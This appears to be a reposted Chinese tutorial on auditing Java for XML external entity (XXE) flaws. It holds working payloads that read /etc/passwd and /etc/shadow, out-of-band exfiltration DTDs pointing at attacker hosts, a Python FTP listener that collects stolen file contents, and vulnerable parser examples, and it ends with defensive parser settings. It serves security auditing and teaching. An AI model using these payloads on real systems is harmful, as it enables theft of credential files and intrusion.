java审计之xxe

wangziqiang123      2022-05-21     259

关键词:

? 最近审计公司的xxx项目(java方面),对于我也是刚接触java方面的审计,边学习边审计,其中发现了几个有意思的blind xxe于是单独挑出XXE深入研究下,我觉得有必要page记录一下审计与学习的内容,对于xxe方面内容可能还不是太完整后续再添加吧,对于java总体常出现的漏洞审计(如下图)也觉得有必要记录一下,只能后续项目结束后再整理记录了,起码对于刚开始java审计新手是有必要的,之前接触的都是php对Java了解较少。

常见漏洞:

技术图片

1.xxe简介

XXE(XML外部实体注入、XML External Entity),在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取任意文件或SSRF、端口探测、DoS拒绝服务攻击、执行系统命令、攻击内部网站等。Java中的XXE支持sun.net.www.protocol里面的所有协议httphttps,file,ftpmailto,jar,netdoc 。一般利用file协议读取文件、利用http协议探测内网,没有回显时可组合利用file协议和ftp协议来读取文件。

2.相关基础概念

XML&DTD

? XML(可扩展标记语言,EXtensible Markup Language ),是一种标记语言,用来传输和存储数据

? DTD(文档类型定义,Document?Type Definition )的作用是定义XML文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

实体ENTITY

? XML中的实体类型,一般有下面几种:字符实体,命名实体(或内部实体)、外部实体(包含分为:外部普通实体、外部参数实体)。除外部参数实体外,其他实体都以字符(&)开始以字符(;)结束。

0x1):字符实体

? 字符实体类似html的实体编码,形如a(十进制)或者a(十六进制)。

0x2):命名实体(内部实体)

? 内部实体又叫命名实体。命名实体可以说成是变量声明,命名实体只能生命在DTD或者XML文件开始部分(<!DOCTYPE>语句中)。

? 命名实体(或内部实体语法):

*<!ENTITY 实体名称 "实体的值">*

如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY x "First Param!">
    <!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>

说明:

定义一个实体名称x 值为First Param!

&x; 引用实体x

知道以上语法后,可以使用名为foo的数据类型定义(DTD)构造如下请求:

request:

POST http://example.com/xml HTTP/1.1
 
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar "World">
]>
<foo>
  Hello &bar;
</foo>

respone:

HTTP/1.0 200 OK
 
Hello World

bar元素是单词“World”的别名 。看起来这样的内部实体似乎无害,但攻击者可以使用XML实体通过在实体内的实体内嵌入实体来导致拒绝服务攻击。通常被称为“?(Billion Laughs attack)十亿笑攻击?”。某些XML解析器会自动限制它们可以使用的内存量。

如:

request:

POST http://example.com/xml HTTP/1.1
 
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar "World ">
  <!ENTITY t1 "&bar;&bar;">
  <!ENTITY t2 "&t1;&t1;&t1;&t1;">
  <!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
<foo>
  Hello &t3;
</foo>

response:

HTTP/1.0 200 OK
 
Hello World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World World

0x3):外部普通实体

? 外部实体用于加载外部文件的内容。(显示XXE攻击主要利用普通实体)

? 外部普通实体语法:

? <!ENTITY 实体名称 SYSTEM "URI/URL"

如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
    <!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>

0x4):外部参数实体

? 参数实体用于DTD和文档的内部子集中。与一般尸体不同,是以字符(%)开始,以字符(;)结束。只有在DTD文件中才能在参数实体声明的时候引用其他实体。(Blind XXE攻击常利用参数实体进行数据回显)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % param1 "Hello">
    <!ENTITY % param2 " ">
    <!ENTITY % param3 "World">
    <!ENTITY dtd SYSTEM "combine.dtd">
    %dtd;
]>
<root><foo>&content</foo></root>

combine.dtd的内容为:

<!ENTITY content "%parm1;%parm2;%parm3;">

说明:

上面combine.dtd中定义了一个基本实体,引用了3个参数实体:%param1;,%param2;,%param3;。

解析后<foo>…</foo>中的内容为Hello World。

3.XML外部实体的一些限制与解决办法

error

通常对于XXE的经典用法,用来读取文件比较直接方便,但是,也决定了能被解析的内容元素必须是XML文档。

如下面一个例子:

request:

POST http://example.com/xml HTTP/1.1

<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY bar SYSTEM
  "file:///etc/fstab">;
]>
<foo>
  &bar;
</foo>

response:

通常会得到如下响应

HTTP/1.0 500 Internal Server Error

File "file:///etc/fstab", line 3
lxml.etree.XMLSyntaxError: Specification mandate value for attribute system, line 3, column 15...

/etc/fstab是一个包含一些看起来像XML的字符的文件(即使它们不是XML)。这将导致XML解析器尝试解析这些元素,只是注意到它不是有效的XML文档。

因此,这限制了XML外部实体(XXE)在以下两个重要方面。

  • XXE只能用于获取包含“有效”XML的文件或响应

  • XXE不能用于获取二进制文件

    XML外部实体(XXE)限制解决办法

    ? 这其实也就用到了外部参数实体,解决了命名实体和普通实体所带来的一些问题。具体如下分析:

    ? 攻击者可以通过使用一些巧妙的技巧来解决上述限制。攻击者使用XML外部实体(XXE)攻击所面临的主要问题是,它很容易撞了南墙试图exfiltrate不是有效的XML文件(包含XML特殊字符,如例如,文件明文文件时&< and >)。

    理论上的解决办法

    ? XML已经解决了这个问题,因为有些合法的情况可能需要在XML文件中存储XML特殊字符。CDATAXML解析器忽略(Character Data)标记中的特殊XML字符。

    <data><![CDATA[ < " ' & > characters are ok in here ]]></data>
    

    因此,从理论上讲,攻击者可以发送类似于以下内容的请求。

    request:

    POST http://example.com/xml HTTP/1.1
      
    <!DOCTYPE data [
      <!ENTITY start "<![CDATA[">
      <!ENTITY file SYSTEM 
    "file:///etc/fstab">
      <!ENTITY end "]]>">
      <!ENTITY all "&start;&file;&end;">
    ]>
    <data>&all;</data>
    

    预期response:

    HTTP/1.0 200 OK
      
    # /etc/fstab: static file system informa...
    #
    # <file system> <mount point> <type> ...
    proc  /proc  proc  defaults  0  0
    # /dev/sda5
    UUID=be35a709-c787-4198-a903-d5fdc80ab2f... # /dev/sda6
    UUID=cee15eca-5b2e-48ad-9735-eae5ac14bc9...
      
    /dev/scd0  /media/cdrom0  udf,iso9660 ...
      
    

    但实际上并不起作用,因为XML规范不允许将外部实体内部实体结合使用。

内部实体代码示例:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>

外部实体代码示例:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

参数实体

然而,攻击者仍然可以扔出手里的另一张牌-——参数实体,在得到以上限制解决方法之前先理解一下以下两个重点:

重点一:

实体分为两种,内部实体和外部实体,上面我们举的例子就是内部实体,但是实体实际上可以从外部的 dtd 文件中引用,我们看下面的代码:

还是以上代码

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

重点二:

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体)

通用实体:

用 &实体名:引用的实体,他在DTD 中定义,在 XML 文档中引用

示例代码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPe root [
    <!ENTITY outfile SYSTEM "outfile.xml">
]>
<root><outfile>&outfile;</outfile></root>

参数实体:

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 **%实体名; **引用 (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体 (3)和通用实体一样,参数实体也可以外部引用

示例代码:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

参数实体在我们 Blind XXE 中起到了至关重要的作用

接下来怎么做?(解决办法)

除了一般实体,这是我们到目前为止所看到的,还有参数实体。 以下是参数实体的外观。它与一般实体相同,除了它存在于DTD内部并以%作为前缀开始,以指示XML解析器正在定义参数实体(不是通用实体)。在下面的示例中,参数实体用于定义通用实体,然后在XML文档内部调用该实体。

request:

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % paramEntity
  "<!ENTITY genEntity 'bar'>">
  %paramEntity;
]>
<data>&genEntity;</data>

预期的response:

HTTP/1.0 200 OK

bar

考虑到上面的示例,攻击者现在可以通过创建在attacker.com/evil.dtd上托管的恶意DTD,将上面的理论CDATA示例转换为工作攻击。

request:

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
  %all;
]>
<data>&fileContents;</data>

攻击者DTD(attacker.com/evil.dtd)

<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

解析:

当攻击者发送上述请求时,XML解析器将首先%dtd通过向http://attacker.com/evil.dtd发出请求来尝试处理参数实体

一旦下载了攻击者的DTD,XML解析器将加载%file参数实体(来自evil.dtd),在本例中是/etc/fstab。然后它将分别<![CDATA[ ]]>使用%start%end参数实体将文件的内容包装在标签中,并将它们存储在另一个名为的参数实体中%all

这个技巧的核心是%all创建一个被调用的通用实体&fileContents;,它可以作为响应的一部分包含在攻击者中。

注-请记住,攻击者可以只使用DTD内参数实体,而不是内部的XML文档)

结果是回复攻击者,文件(/etc/fstab)的内容包含在CDATA标签中。

4.XXE审计函数

XML解析一般在导入配置、数据传输接口等场景可能会用到,涉及到XML文件处理的场景可查看XML解析器是否禁用外部实体,从而判断是否存在XXE。部分XML解析接口(常见漏洞出现函数)如下:

javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId

5.常用poc

POC1-外部普通实体

? 当有回显时,利用ftp协议读取文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lltest[
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]> 
<user><username>&xxe;</username><password>123456</password></user>

POC2-外部参数实体

无回显时 利用http协议来发起请求

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note[ 
<!ENTITY % lltest SYSTEM "http://***.***.***.***:7777/lltest_xxe666">
%lltest;
]>

XXE漏洞代码示例

解析XML的方法越来越多,常见有四种,即:DOM、DOM4J、JDOM 和SAX。下面以这四种为例展示XXE漏洞。

1)DOM Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {      
        String result="";
        try {
            //DOM Read XML
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();     
            DocumentBuilder db = dbf.newDocumentBuilder();                  
            Document doc = db.parse(request.getInputStream());

            String username = getValueByTagName(doc,"username");
            String password = getValueByTagName(doc,"password");
            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }
        } catch (ParserConfigurationException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        } catch (SAXException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

2)DOM4J Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {          
        String result="";
        try {
            //DOM4J Read XML
            SAXReader saxReader = new SAXReader();
            Document document = saxReader.read(request.getInputStream());

            String username = getValueByTagName2(document,"username");
            String password = getValueByTagName2(document,"password");

            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }                

        } catch (DocumentException  e) {
            System.out.println(e.getMessage());
        } 
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

3)JDOM2 Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {             
        String result="";
        try {
            //JDOM2 Read XML    
            SAXBuilder builder = new SAXBuilder();  
            Document document = builder.build(request.getInputStream());

            String username = getValueByTagName3(document,"username");
            String password = getValueByTagName3(document,"password");

            if(username.equals(USERNAME) && password.equals(PASSWORD)){
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",1,username);
            }else{
                result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,username);
            }

        } catch (JDOMException  e) {
            System.out.println(e.getMessage());
        } 
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

4)SAX Read XML

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {      
        //https://blog.csdn.net/u011024652/article/details/51516220
        String result="";
        try {
            //SAX Read XML
            SAXParserFactory factory  = SAXParserFactory.newInstance(); 
            SAXParser saxparser = factory.newSAXParser();  
            SAXHandler handler = new SAXHandler();  
            saxparser.parse(request.getInputStream(), handler);
            //为简单,没有提取子元素中的数据,只要调用parse()解析xml就已经触发xxe漏洞了
            //没有回显  blind xxe
             result = String.format("<result><code>%d</code><msg>%s</msg></result>",0,1);

        } catch (ParserConfigurationException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        } catch (SAXException e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

其他:

0x1:

public class XXE {

    @RequestMapping(value = "/xmlReader", method = RequestMethod.POST)
    @ResponseBody
    public  String xxe_xmlReader(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            xmlReader.parse( new InputSource(new StringReader(xml_con)) );  // parse xml
            return "ok";
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

0x2:

    @RequestMapping(value = "/SAXBuilder", method = RequestMethod.POST)
    @ResponseBody
    public  String xxe_SAXBuilder(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            SAXBuilder builder = new SAXBuilder();
            org.jdom2.Document document = builder.build( new InputSource(new StringReader(xml_con)) );  // cause xxe
            return "ok";
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

0x3:

@RequestMapping(value = "/SAXReader", method = RequestMethod.POST)
    @ResponseBody
    public  String xxe_SAXReader(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            SAXReader reader = new SAXReader();
            org.dom4j.Document document = reader.read(  new InputSource(new StringReader(xml_con)) ); // cause xxe

            return "ok";
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

0x4:

    @RequestMapping(value = "/SAXParser", method = RequestMethod.POST)
    @ResponseBody
    public String xxe_SAXParser(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(xml_con)), new DefaultHandler());  // parse xml

            return "test";
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

0x5:

 // 有回显的XXE
    @RequestMapping(value = "/DocumentBuilder_return", method = RequestMethod.POST)
    @ResponseBody
    public String xxeDocumentBuilderReturn(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            StringReader sr = new StringReader(xml_con);
            InputSource is = new InputSource(sr);
            Document document = db.parse(is);  // parse xml

            // 遍历xml节点name和value
            StringBuffer buf = new StringBuffer();
            NodeList rootNodeList = document.getChildNodes();
            for (int i = 0; i < rootNodeList.getLength(); i++) {
                Node rootNode = rootNodeList.item(i);
                NodeList child = rootNode.getChildNodes();
                for (int j = 0; j < child.getLength(); j++) {
                    Node node = child.item(j);
                    buf.append( node.getNodeName() + ": " + node.getTextContent() + "n" );
                }
            }
            sr.close();
            System.out.println(buf.toString());
            return buf.toString();
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }


    @RequestMapping(value = "/DocumentBuilder", method = RequestMethod.POST)
    @ResponseBody
    public String DocumentBuilder(HttpServletRequest request) {
        try {
            String xml_con = getBody(request);
            System.out.println(xml_con);

            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            StringReader sr = new StringReader(xml_con);
            InputSource is = new InputSource(sr);
            Document document = db.parse(is);  // parse xml

            // 遍历xml节点name和value
            StringBuffer result = new StringBuffer();
            NodeList rootNodeList = document.getChildNodes();
            for (int i = 0; i < rootNodeList.getLength(); i++) {
                Node rootNode = rootNodeList.item(i);
                NodeList child = rootNode.getChildNodes();
                for (int j = 0; j < child.getLength(); j++) {
                    Node node = child.item(j);
                    // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
                    if(child.item(j).getNodeType() == Node.ELEMENT_NODE) {
                        result.append( node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "n" );
                    }
                }
            }
            sr.close();
            System.out.println(result.toString());
            return result.toString();
        } catch (Exception e) {
            System.out.println(e);
            return "except";
        }
    }

6.Blind XXE

6.1Blind XXE与OOB-XXE

一般xxe利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象(带内?XML外部实体(XXE),即攻击者可以发送带有XXE有效负载的请求并从包含某些数据的Web应用程序获取响应),无回显的情况又称为blind xxe,可以使用外带数据通道提取数据即带外XML外部实体(OOB-XXE)。

以下是攻击者如何利用参数实体使用带外(OOB)技术窃取数据的示例。

request:

POST http://example.com/xml HTTP/1.1

<!DOCTYPE data [
  <!ENTITY % file SYSTEM
  "file:///etc/lsb-release">
  <!ENTITY % dtd SYSTEM
  "http://attacker.com/evil.dtd">
  %dtd;
]>
<data>&send;</data>

攻击者DTD

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?collect=%file;'>">
%all;

XML解析器将首先处理%file加载文件的参数实体/etc/lsb-release。接下来,XML解析器将在http://attacker.com/evil.dtd向攻击者的DTD发出请求。

一旦处理了攻击者的DTD,all%参数实体将创建一个名为&send通用实体; ,其中包含一个包含文件内容的URL(例如http://attacker.com/?collect=DISTRIB_ID=Ubuntu …)。最后,一旦URL构造的&send; 实体由解析器处理,解析器向攻击者的服务器发出请求。然后,攻击者可以在其结尾处记录请求,并从记录的请求中重建文件的内容。

知道何为Blind XXE后,这里再分析一下原理:

Blind?XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>

于是考虑内部实体嵌套的形式:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>

但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

技术图片

解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

如下:

payload

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://192.168.100.1/evil.xml">
%remote;
%all;
]>

【evil.xml】

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.100.1/?file=%file;'>">

nc -lvv port 监听即可获得请求回显内容

6.2 XXE利用

示例无回显读取本地敏感文件(Blind OOB XXE):

此部分演示借用php中XXE进行说明

xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

payload:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

技术图片

结果如下:

技术图片

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 &#37;),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

新的利用

如图所示

技术图片

注意:

1.其中从2012年9月开始,Oracle JDK版本中删除了对gopher方案的支持,后来又支持的版本是 Oracle JDK 1.7 update 7 和 Oracle JDK 1.6 update 35 2.libxml 是 PHP 的 xml 支持

netdoc协议

Java中在过滤了file ftp gopher 情况下使用netdoc 协议列目录:

附上一张图

技术图片

另外对于带外XXE还可以通过burp 进行测试如(附上两张图):

技术图片

技术图片

可参考这篇文章,关于burp此插件还可在多个场景测试中用到比如XSS、SQL、SSRF等。关于此插件的利用可参考这篇博文在这不进行过多介绍。

? 最后,分享一下审计中遇到两个XXE的审计与利用思路过程。

? 第一处出现在系统使用的org.dom4j.DocumentHelper调用的类函数下。

在源码中搜索关键字DocumentHelper.parseText

得到:

xxx******.java 
Line 303:    document = DocumentHelper.parseText(xml);

xxx***XmlParser.java 
Line 51:    Document doc = DocumentHelper.parseText(xmlStr);

xxx******Task.java 
Line 350:    Document document = DocumentHelper.parseText(result);

xxx******Action.java 
Line 237:    Document document = DocumentHelper.parseText(mapDataForOut);

xxx***xxxAction.java 
Line 259:    Document document = DocumentHelper.parseText(mapDataForOut);

xxx***xxx.java 
Line 120:    Document doc = DocumentHelper.parseText(policyXml.replaceAll("_lnx", ""));
Line 125:    doc = DocumentHelper.parseText(node.asXML());

xxx***tion.java 
Line 109:    Document doc = DocumentHelper.parseText(xmlStr);

xxx***.java 
Line 58:    doc = DocumentHelper.parseText(xml); // 将字符串转为XML

xxx***.java 
Line 92:    doc = DocumentHelper.parseText(xml);
Line 97:    oldDoc = DocumentHelper.parseText(vaildXml);

xxx***ObjConverter.java 
Line 173:     Document document = DocumentHelper.parseText(xml);

xxx***.java 
Line 949:     doc = DocumentHelper.parseText(infor.getContent());

xxx***Utility.java 
Line 1203:     Document doc = DocumentHelper.parseText(result);

xxx***xxxService.java 
Line 177:     Document doc = DocumentHelper.parseText(requestHeader);

xxx***EventParser.java 
Line 83:    Document doc = DocumentHelper.parseText(xmlStr);
Line 185:    Document doc = DocumentHelper.parseText(xmlStr);
Line 229:    Document doc = DocumentHelper.parseText(xmlStr);
Line 306:    DocumentHelper.parseText(contentXml)).replaceAll("<", "&lt;").replaceAll(">", "&gt;").replaceAll("==amp;",  

xxx***XMLMessageUtil.java 
Line 24:    doc = DocumentHelper.parseText(xml);
Line 131:    tempDoc = DocumentHelper.parseText(xml);
Line 224:    document = DocumentHelper.parseText("<a><b></b></a>");

xxx***XmlParser.java 
Line 51:    Document doc = DocumentHelper.parseText(xmlStr);

xxx***.java 
Line 244:    Document doc = DocumentHelper.parseText(xmlStr);

其中,xxx***XMLMessageUtil.java

技术图片

代码中 使用org.dom4j.DocumentHelper.parseTest解析XML文件

第二处,发现位置是在查看web.xml文件中AxisServlet的servlet-mapping配置,发现URL地址包含以下路径或后缀就可被攻击利用

***WebRootWEB-INFweb.xml 
xxx***WebRootWEB-INFweb.xml
<servlet-mapping>
<servlet-name>AxisServlet</servlet-name>
       <url-pattern>/servlet/AxisServlet</url-pattern>
   </servlet-mapping>  
   <servlet-mapping>
       <servlet-name>AxisServlet</servlet-name>
       <url-pattern>*.jws</url-pattern>
   </servlet-mapping>
   <servlet-mapping>
       <servlet-name>AxisServlet</servlet-name>
       <url-pattern>/services/*</url-pattern>
   </servlet-mapping> 

在通过访问以下URL即可访问到AxisServlet服务,可对其进行XXE漏洞攻击。

https://ip/xxx/servlet/AxisServlet

https://ip/***/servlet/AxisServlet

POC:

0x1:

在复现时由于目标主机无法访问外网,所以需要在本地主机上搭建测试环境,具体的复现过程如下(嗯额这里感谢一下同事):

1)新建目录xxe_test,复制下面文件放入

test.dtd

<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'ftp://ip/%data3;'>">

技术图片

2)在xxe_test目录下运行如下命令,监听8080端口(检查防火墙是否开放该端口)

Python -m SimpleHTTPServer 8080

3)运行以下脚本,启动ftp服务器(检查防火墙是否开放21端口)

Python xxe-ftp.py

技术图片

#!/usr/env/python
from __future__ import print_function
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0',21))
s.listen(1)
print('XXE-FTP listening ')
conn,addr = s.accept()
print('Connected by %s',addr)
conn.sendall('220 Staal XXE-FTPrn')
stop = False
while not stop:
    dp = str(conn.recv(1024))
    if dp.find("USER") > -1:
        conn.sendall("331 password please - version checkrn")
    else:
        conn.sendall("230 more data please!rn")
    if dp.find("RETR")==0 or dp.find("QUIT")==0:
        stop = True
    if dp.find("CWD") > -1:
        print(dp.replace('CWD ','/',1).replace('rn',''),end='')
    else:
        print(dp)

conn.close()
s.close()

4)发送以下报文:

POST /xxx/*** HTTP/1.1
Host: target_ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
Referer: https://target_ip/xxx/***.jsp
ContentType: pplication/x-www-form-urlencoded
Cookie: JSESSIONID=WwV5E_ZpZVWhnIKEaFuuphs1.localhost; ops.cookie.principal=xxxxx
DNT: 1
Connection: close
Content-Type: text/xml
Content-Length: 159

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://Your_IP/test.dtd">
%sp;
%param3;
%exfil;
]>

技术图片

漏洞截图

0x1:

成功获取到受害主机的/etc/shadow文件

技术图片

结束。

? 另外,也可呀使用工具XXEinjector?完成带外攻击。 具体可参考

7.xxe防御

使用语言中推荐的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

原文:大专栏  java审计之XXE


漏洞复现之xxe漏洞(代码片段)

文章目录XXE-基础实验实验内容实验步骤1.访问目标进行注入攻击2.尝试进行登录,并进行抓包3.根据xxe注入漏洞,构造payloa免责声明XXE-基础实验实验内容XXE(XML注入)实验步骤1.访问目标进行注入攻击访问目标IP:172.16.12.... 查看详情

使用 JAXB 防止 XXE 攻击

...2-10-1005:57:13【问题描述】:最近,我们对代码进行了安全审计,其中一个问题是我们的应用程序受到了XmleXternalEntity(XXE)攻击。基本上,该应用程序是一个计算器,通过Web服务接收XML格式的输入。以下是对我们的应用程序进行此... 查看详情

那些年,怼过的开发——xxe

...ask 2018.12.0413:10*字数1849阅读34评论1喜欢1编辑文章代码审计涉及漏洞:XMLEntityExpansionInjection(XML实体扩展注入)XMLExternalEntityInjection(XML外部实体注入)为什么是第一讲就是XXE漏洞,而不是SQL注入之类的?因为我发现XXE相对来讲入门... 查看详情

从xxe-lab来深入学习xxe漏洞(代码片段)

...一下xxe的知识,于是把以前的一个靶场拿过来玩玩,顺便审计一下代码2333,靶场地址:https://github.com/c0ny1/xxe-lab首先先练习的是php-xxe:                 & 查看详情

nsatp-a学习笔记之day2-7xxe漏洞(代码片段)

文章目录XXE-基础实验实验目的实验环境实验工具实验内容实验步骤1.访问目标进行注入攻击2.尝试进行登录,并进行抓包3.根据xxe注入漏洞,构造payloa免责声明XXE-基础实验实验目的练习XXE(XML注入)实验环境目标机:windo... 查看详情

excel中的xxe攻击(代码片段)

